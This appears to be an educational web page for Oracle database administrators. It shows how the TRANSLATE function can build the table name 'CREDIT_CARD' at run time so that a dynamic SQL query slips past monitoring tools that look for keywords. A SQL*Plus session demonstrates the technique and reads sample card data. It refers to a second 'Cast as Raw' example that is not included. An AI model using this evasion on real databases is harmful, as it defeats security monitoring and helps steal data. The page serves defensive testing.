Oracle Translate Exploit
Versions: ALL

Overview
One of the security industry's big money makers is monitoring SQL statements that for unusual behavior or for access to specific tables. To evade these security tools those in the business of breaking into databases evolve techniques for hiding the details of the requests they are making to the database. There are a large number of possible Substitution attacks a number of which are linked at the bottom of this page.

Many of the more sophisticated security tools can now catch some of these exploits but it is not hard to imagine numerous variations to evade existing capabilities. Be sure you learn, from the follow demos, how this works. Then try each of the exploits published here in your environment. To secure your database you need to intentionally attempt these exploits as part of a sanctioned White Hat attack to determine whether your environment will alert you.
 
Exploit Demo
This demo was written on the assumption that the organization is monitoring for SQL statements that contain the word "SELECT" and target the "CREDIT_CARD" table. Review the code of the anonymous block below. Note that nowhere in the code does the name of the target table "CREDIT_CARD" appear. If this code was part of a procedure with hundreds or thousands of lines of code, or was constructed to more clearly obfuscate its intent, it would sail through a code review and likely remain undetected.

The TRANSLATE function, in the demo code, converts "TRASHY" to "CREDIT" on the fly at the time of execution. The full target name "CREDIT_CARD" only exists within the database's memory, never on the network.
SQL*Plus: Release 19.0.0.0.0 - Production on Wed Aug 28 13:41:28 2019
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle. All rights reserved.

Enter user-name: uwclass/uwclass@pdbdev

Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

CREATE TABLE credit_card(
ccno    VARCHAR2(20),
expdate DATE,
ccvcode VARCHAR2(4));

INSERT INTO credit_card (ccno, expdate, ccvcode) VALUES ('3456-789012-34556', sysdate+10, 1234);
INSERT INTO credit_card (ccno, expdate, ccvcode) VALUES ('4567-8901-2345-6789', sysdate+30, 567);
INSERT INTO credit_card (ccno, expdate, ccvcode) VALUES ('5678-9012-3456-7890', sysdate+60, 890);
COMMIT;

SELECT * FROM credit_card;

CCNO                 EXPDATE              CCVC
-------------------- -------------------- ----
3456-789012-34556    30-SEP-2019 09:35:23 1234
4567-8901-2345-6789  20-OCT-2019 09:33:43 567
5678-9012-3456-7890  19-NOV-2019 09:33:43 890

-- anonymous block follows
DECLARE
 sqlStr1 VARCHAR2(120);
 sqlStr2 VARCHAR2(60);
 x VARCHAR2(20);
 y DATE;
 z VARCHAR2(4);
BEGIN
  sqlStr1 := 'SELECT ccno, expdate, ccvcode FROM ';

  SELECT TRANSLATE('TRASHY','AHRSTY','EIRDCT') || '_CARD WHERE rownum = 1'
  INTO sqlStr2
  FROM dual;

  sqlStr1 := sqlStr1 || sqlStr2;

  dbms_output.put_line(sqlStr1);

  execute immediate sqlStr1 INTO x, y, z;
  dbms_output.put_line(x);
  dbms_output.put_line(y);
  dbms_output.put_line(z);
END;
/
SELECT ccno, expdate, ccvcode FROM CREDIT_CARD WHERE rownum = 1
4567-8901-2345-6789
20-OCT-2019 09:33:43
567


PL/SQL procedure successfully completed.


As easily demonstrated submitting the SQL statement Cast as Raw obscures the intent. At no place in the second example is the statement human readable in a trace or in a V$ dynamic performance view.
 
Conclusion
Using built-in functions such as TRANSLATE hide from monitoring, and from human eyes, the actual content of a string being sent into our out of a database. The more sophisticated commercial monitoring tools may catch and tag this as suspicious but depending on how the encoding was performed may not be able to determine the underlying intent.

You are just trying to do your job. Some people's "job" is to find ways to evade your security measures. Investing time to understand these techniques and how they work, will make you better at evaluating what will protect your data and your databases.

Related Topics
Base64 Exploit
Cast To RAW Exploit
NoSpaces Exploit
REPLACE Exploit
Substitution Exploits
UTL_ENCODE
UTL_I18N
UTL_RAW
WRAP Exploit